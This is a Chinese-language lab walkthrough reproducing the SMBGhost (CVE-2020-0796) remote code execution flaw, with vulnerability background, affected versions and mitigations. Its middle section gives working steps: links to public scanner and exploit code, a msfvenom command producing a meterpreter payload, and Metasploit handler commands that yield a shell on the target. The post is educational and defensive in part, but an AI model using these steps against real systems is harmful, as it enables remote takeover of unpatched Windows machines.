您的位置:首页 > 其它

CVE-2020-0796漏洞复现(RCE)

2020-06-04 16:06 351 查看

0x01 漏洞简介

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。 该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。

0x02 影响范围

漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 (Server Core installation) Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows Server, Version 1909 (Server Core installation)

SMB介绍

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。 Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。 利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

0x03 复现步骤

环境要求

1.win10虚拟机(1903或者1909版本) ip:192.168.5.131 这里给一个win10 1903版本的镜像

ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/

2.关闭defender和防火墙 3.Kali Linux(确保可以和win10虚拟机ping通) ip:192.168.5.128

利用步骤

(1)首先检测目标是否存在漏洞,下载检测POC https://github.com/ollypwn/SMBGhost 控制台输入python3 scanner.py <目标ip>来进行检测 发现存在漏洞 (2)然后下载利用poc git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git 然后切换到对应目录下找到exploit.py 再找到这一段 (3)生成python的反弹shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o exp.py

然后将shellcode里的buf全部改成USER_PAYLOAD再将修改好的shellcode粘贴到exploit.py上我们刚才找到的位置,以便将获得的shell反弹到我们的kail上 (4)启动msfconsole,设置监听端口 msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf5 exploit(multi/handler) > set rhost 192.168.5.145 rhost => 192.168.5.145 msf5 exploit(multi/handler) > set lport 1234 lport => 1234 msf5 exploit(multi/handler) > run 开启监听端口后,再去运行exploit.py python3 exploit.py -ip 192.168.5.145 成功反弹shell,查看当前用户权限 注意:虽然这次成功了,但是这个rce的poc还不是很稳定,经常容易打蓝屏和死机。

本地提权

利用这个漏洞的还可以本地提权,就不赘述了。 http://www.fr1sh.com/?post=26

0x04 漏洞修复

1. 更新,完成补丁的安装。 操作步骤:设置­>更新和安全­>Windows更新,点击“检查更新”。 2.微软给出了临时的应对办法: 运行regedit.exe,打开注册表编辑器,在 HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为 DisableCompression的DWORD,值为1,禁止SMB的压缩功能。 3.对SMB通信445端口进行封禁。 4.补丁链接 https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: